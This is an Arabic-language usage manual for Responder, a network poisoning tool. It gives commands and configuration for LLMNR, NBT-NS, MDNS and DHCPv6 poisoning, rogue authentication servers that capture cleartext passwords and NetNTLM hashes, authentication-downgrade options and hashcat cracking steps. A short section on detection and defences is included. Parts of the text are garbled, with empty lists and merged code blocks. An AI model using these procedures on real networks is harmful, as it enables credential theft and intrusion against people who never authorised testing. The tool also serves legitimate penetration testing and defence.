
Responder هو أداة تسميم لـ LLMNR و NBT-NS و MDNS، مع خادم مصادقة وهمي مدمج يدعم HTTP/SMB/MSSQL/FTP/LDAP ويدعم NTLMv1/NTLMv2/LMv2 و NTLMSSP الموسع للأمان ومصادقة HTTP الأساسية.
Responder هي أداة تسمم لـ LLMNR و NBT-NS و MDNS مع خوادم مصادقة مزيفة مدمجة لـ HTTP و SMB و MSSQL و FTP و LDAP و Kerberos و DNS والمزيد. تدعم NTLMv1/NTLMv2/LMv2 و NTLMSSP الموسع وطرق مصادقة متنوعة عبر أكثر من 15 بروتوكول.
يلتقط Responder بيانات الاعتماد من خلال الاستجابة لطلبات تحليل أسماء LLMNR و NBT-NS و MDNS. عندما يحاول عميل حل اسم مضيف غير موجود، يجيب Responder، ويوجه العميل إلى جهاز المهاجم حيث تلتقط خوادم مصادقة مزيفة متعددة بيانات الاعتماد. يتم تضمين خوادم DHCP و DHCPv6 المزيفة أيضًا ويمكن تمكينها بشكل منفصل.
البيانات الملتقطة:
يتضمن هذا الإصدار:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### تثبيت Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## البداية السريعة
### التسمم الأساسي```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### فرض المصادقة الأساسية لـ HTTP```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## تسمم الشبكة
### تسمم LLMNR/NBT-NS/MDNS
**الغرض:** الرد على فشل تحليل الأسماء
**كيفية العمل:**
1. يبث العميل استعلامًا عن مضيف غير موجود
2. يجيب Responder: "أنا ذلك المضيف"
3. يتصل العميل بالمهاجم
4. يتم التقاط بيانات الاعتماد
**التكوين:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
الاستخدام:```bash sudo python3 Responder.py -I eth0 -v
---
### خادم DHCPv6
**الغرض:** إجبار العملاء على استخدام DNS المهاجم عبر IPv6
**الميزات:**
- ✅ دعم INFORMATION-REQUEST (ويندوز 10/11)
- ✅ دعم SOLICIT/REQUEST
- ✅ تصفية النطاق (استهداف دقيق)
- ✅ إعلان الموجه (اختياري)
**كيف يعمل:**
1. يرسل ويندوز طلبات DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. يستجيب Responder: DNS = IPv6 المهاجم
3. يمنح ويندوز أولوية DNS عبر IPv6
4. جميع استعلامات DNS → المهاجم
5. تسمم DNS → التقاط بيانات الاعتماد
**الإعدادات:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
الاستخدام:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**المخرجات المتوقعة:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
يضم Responder أكثر من 17 خادم توثيق مارق:
الغرض: التقاط تجزئات NetNTLM من مشاركات الملفات
الميزات:
المحفزات:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**التنسيق الملتقط:**```
username::domain:challenge:response:blob
التكسير:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**الإعدادات:**```ini
[Responder Core]
SMB = On
الغرض: التقاط بيانات اعتماد FTP النصية الواضحة
الميزات:
المحفزات:```bash ftp attacker-ip
**التنسيق الملتقط:**```
[FTP] Cleartext: username:password
الإعدادات:```ini [Responder Core] FTP = On
---
### خوادم قواعد البيانات
#### خادم MSSQL (المنفذ 1433)
**الغرض:** التقاط مصادقة خادم Microsoft SQL
**الميزات:**
- ✅ مصادقة خادم SQL
- ✅ مصادقة ويندوز (NTLM)
- ✅ بيانات اعتماد SQL بنص واضح
- ✅ التقاط تجزئة NetNTLMv2
**المحفزات:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
التنسيقات الملتقطة:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**التكوين:**```ini
[Responder Core]
SQL = On
ملاحظات:
الغرض: التقاط مصادقة عميل البريد الإلكتروني
المميزات:
تدفق STARTTLS:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**المحفزات:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
التنسيقات الملتقطة:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**الإعدادات:**```ini
[Responder Core]
SMTP = On
تحذيرات الشهادة: تحذيرات الشهادات الموقعة ذاتيًا طبيعية. يرفض العملاء المحاولة الأولى، ويعيدون المحاولة وتنجح. لا تزال بيانات الاعتماد ملتقطة.
الغرض: التقاط مصادقة IMAP باستخدام STARTTLS
الميزات:
تدفق STARTTLS:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**التكوين:**```ini
[Responder Core]
IMAP = On
الغرض: IMAP عبر SSL (تشفير أصلي)
الميزات:
كيف يختلف عن IMAP:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**التكوين:**```ini
[Responder Core]
IMAPS = On
الغرض: التقاط بيانات اعتماد استرجاع البريد الإلكتروني POP3
الميزات:
المشغلات:``` Email client:
**التنسيق الملتقط:**```
[POP3] USER: username
[POP3] PASS: password
التكوين:```ini [Responder Core] POP = On
---
### خوادم الويب
#### خادم HTTP (المنفذ 80)
**الغرض:** التقاط المصادقة عبر الويب
**الميزات:**
- ✅ مصادقة NTLM (NetNTLMv1/v2)
- ✅ مصادقة أساسية (نص واضح)
- ✅ مصادقة Digest (MD5)
- ✅ حقن WPAD
**المحفزات:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
فرض Basic Auth:```bash sudo python3 Responder.py -I eth0 -b
**التنسيقات الملتقطة:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
التكوين:```ini [Responder Core] HTTP = On
---
#### خادم HTTPS (المنفذ 443)
**الغرض:** HTTPS مع التقاط المصادقة
**الميزات:**
- ✅ تشفير SSL/TLS
- ✅ جميع طرق مصادقة HTTP
- ✅ شهادة موقعة ذاتيًا
- ✅ WPAD عبر HTTPS
**التكوين:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
الغرض: التقاط تجزئات AS-REP للكسر دون اتصال
الميزات:
كيف يعمل:
الكسر:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**الإعداد:**```ini
[Responder Core]
Kerberos = On
الغرض: التقاط مصادقة دليل LDAP
المميزات:
المشغلات:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**التنسيقات الملتقطة:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
التكوين:```ini [Responder Core] LDAP = On
---
#### خادم LDAPS (المنفذ 636)
**الغرض:** LDAP عبر SSL
**الميزات:**
- ✅ تشفير SSL/TLS
- ✅ جميع طرق المصادقة لـ LDAP
**التكوين:**```ini
[Responder Core]
LDAP = On
الغرض: التقاط مصادقة سطح المكتب البعيد
الميزات:
المحفزات:``` Remote Desktop Client:
**التنسيق الملتقط:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
التكوين:```ini [Responder Core] RDP = On
**ملاحظة:** يلتقط مصادقة NLA قبل جلسة سطح المكتب.
---
#### خادم WinRM (المنافذ 5985، 5986)
**الغرض:** التقاط بيانات اعتماد إدارة Windows عن بُعد
**الميزات:**
- ✅ HTTP (5985) وHTTPS (5986)
- ✅ المصادقة الأساسية
- ✅ مصادقة NTLM
- ✅ مصادقة Kerberos
**المحفزات:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
التنسيقات الملتقطة:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**الإعدادات:**```ini
[Responder Core]
WINRM = On
الغرض: DNS مارق مع تصفية النطاقات
الميزات:
التكوين:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**كيف يعمل:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
أنواع السجلات المدعومة:
مثال على تصفية النطاق:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**التكوين:**```ini
[Responder Core]
DNS = On
الغرض: التقاط مصادقة RPC لويندوز
الميزات:
المحفزات:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**التنسيق الملتقط:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
التكوين:```ini [Responder Core] DCERPC = On
---
## الإعدادات
### ملف الإعدادات الرئيسي
حرر `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### الوسائط المطلوبة
| الخيار | الوصف |
|--------|-------------|
| `-I eth0, --interface=eth0` | واجهة الشبكة المراد استخدامها (استخدم 'ALL' لجميع الواجهات) |
### خيارات التسميم
| الخيار | الوصف |
|--------|-------------|
| `-A, --analyze` | وضع التحليل - عرض طلبات NBT-NS و MDNS و LLMNR دون الرد |
| `-w, --wpad` | بدء تشغيل خادم WPAD الوكيل المخادع (إيقاف افتراضيًا) |
| `-F, --ForceWpadAuth` | فرض مصادقة NTLM/Basic على استرجاع wpad.dat (للشبكات القديمة)|
| `-P, --ProxyAuth` | فرض مصادقة NTLM/Basic للوكيل (فعال جدًا) |
### خيارات DHCP/DHCPv6
| الخيار | الوصف |
|--------|-------------|
| `-d, --DHCP` | تمكين استجابات البث DHCP مع حقن WPAD (IPv4) |
| `-D, --DHCP-DNS` | حقن خادم DNS في استجابة DHCP بدلاً من WPAD |
| `--dhcpv6` | تمكين تسميم DHCPv6 (الرد على رسائل SOLICIT) |
### خيارات تسميم IP
| الخيار | الوصف |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | تسميم الطلبات بعنوان IPv4 آخر |
| `-6 ADDR, --externalip6=ADDR` | تسميم الطلبات بعنوان IPv6 آخر |
| `-i 10.0.0.21, --ip=10.0.0.21` | IP المحلي المراد استخدامه (لنظام macOS فقط) |
### خيارات المصادقة
| الخيار | الوصف |
|--------|-------------|
| `-b, --basic` | إرجاع مصادقة HTTP الأساسية (افتراضيًا: NTLM) |
| `--lm` | فرض تخفيض هاش LM (لنظام Windows XP/2003) |
| `--disable-ess` | فرض تخفيض أمان NTLMSSP الممتد |
### الخيارات المتقدمة
| الخيار | الوصف |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | وكيل HTTP علوي لـ WPAD المخادع |
| `-t 1e, --ttl=1e` | تغيير TTL لنظام Windows للردود المسمومة (سداسي عشري: 30s=1e، أو 'random') |
| `-N NAME, --AnswerName=NAME` | الاسم المتعارف عليه لردود LLMNR (مفيد لتتابع Kerberos) |
| `-E, --ErrorCode` | إرجاع STATUS_LOGON_FAILURE (يتيح التقاط مصادقة WebDAV) |
### خيارات الإخراج
| الخيار | الوصف |
|--------|-------------|
| `-v, --verbose` | زيادة الإفصاح (موصى به) |
| `-Q, --quiet` | وضع هادئ - تعطيل إخراج المسمّم |
### المعلومات
| الخيار | الوصف |
|--------|-------------|
| `--version` | عرض إصدار البرنامج والخروج |
| `-h, --help` | عرض رسالة المساعدة والخروج |
---
### مواقع التخزين```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### اعتبارات أمن العمليات (OpSec)
**مؤشرات الكشف:**
- استجابات LLMNR/NBT-NS غير عادية
- خادم DHCP/DHCPv6 مارق
- طلبات التحقق المسبق Kerberos غير صالحة
- شهادات SSL ذاتية التوقيع
- حالات فشل متعددة في المصادقة
- استجابات DNS مشبوهة
**إجراءات دفاعية:**
- تعطيل MDNS/LLMNR/NBT-NS عبر GPO
- تفعيل التنصت على DHCP (DHCP snooping) على المحول (switch)
- تفعيل حماية إعلانات Router Advertisement (RA guard) لـ IPv6
- تفعيل حماية DHCPv6 (DHCPv6 guard)
- مراقبة خوادم DHCPv6 المارقة
---
## macOS
يعمل Responder على macOS ولكنه يتطلب العلامة `-i` لتحديد عنوان IP المحلي الخاص بك. لا يدعم macOS خيار مقبس `SO_BINDTODEVICE` المستخدم في نظام Linux لربط الواجهة.
### استخدام النص البرمجي للإطلاق (Launcher Script)
يتولى النص البرمجي المضمن `macOS_Launcher.sh` معالجة التعارضات في الخدمات تلقائيًا:```bash
sudo ./macOS_Launcher.sh -I en0
المُشغّل سيفعل ما يلي:
-i لتجاوز ذلك)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### حماية تكامل النظام (SIP)
مع تمكين SIP (الافتراضي)، يمنع macOS إيقاف خدمات النظام التي ترتبط بالمنافذ التي يحتاجها Responder. لديك ثلاثة خيارات:
1. **استخدم النص البرمجي للتشغيل** — سيقوم بالإبلاغ عن التعارضات والمتابعة بما هو متاح
2. **تعطيل الوحدات المتعارضة** في `Responder.conf` (مثل: `SMB = Off`، `DNS = Off`)
3. **تعطيل SIP** للحصول على الوظائف الكاملة (انظر [توثيق Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))
---
## استكشاف الأخطاء وإصلاحها
### المشكلات الشائعة
**تم رفض الإذن:**```bash
sudo python3 Responder.py -I eth0
الواجهة غير موجودة:```bash ip link show sudo python3 Responder.py -I wlan0
**المنفذ قيد الاستخدام بالفعل:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6 لا يعمل:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**لم يتم التقاط أي تجزئات:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## الإسهامات
**المؤلف:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- الموقع الإلكتروني: https://secorizon.com/
- تويتر: @secorizon
---
## التبرعات
يمكنك المساهمة في هذا المشروع عن طريق التبرع للعناوين التالية USDT أو Bitcoin:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
باي بال:
https://paypal.me/PythonResponder
---
## الشكر والتقدير
لقد كان تطوير Late Responder ممكنًا بفضل التبرعات التي تلقيناها من الأفراد والشركات.
نود أن نشكر الرعاة الرئيسيين التاليين:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
وجميع، كل المختبِرين الاختراقيين حول العالم الذين تبرعوا لهذا المشروع.
شكرًا لكم.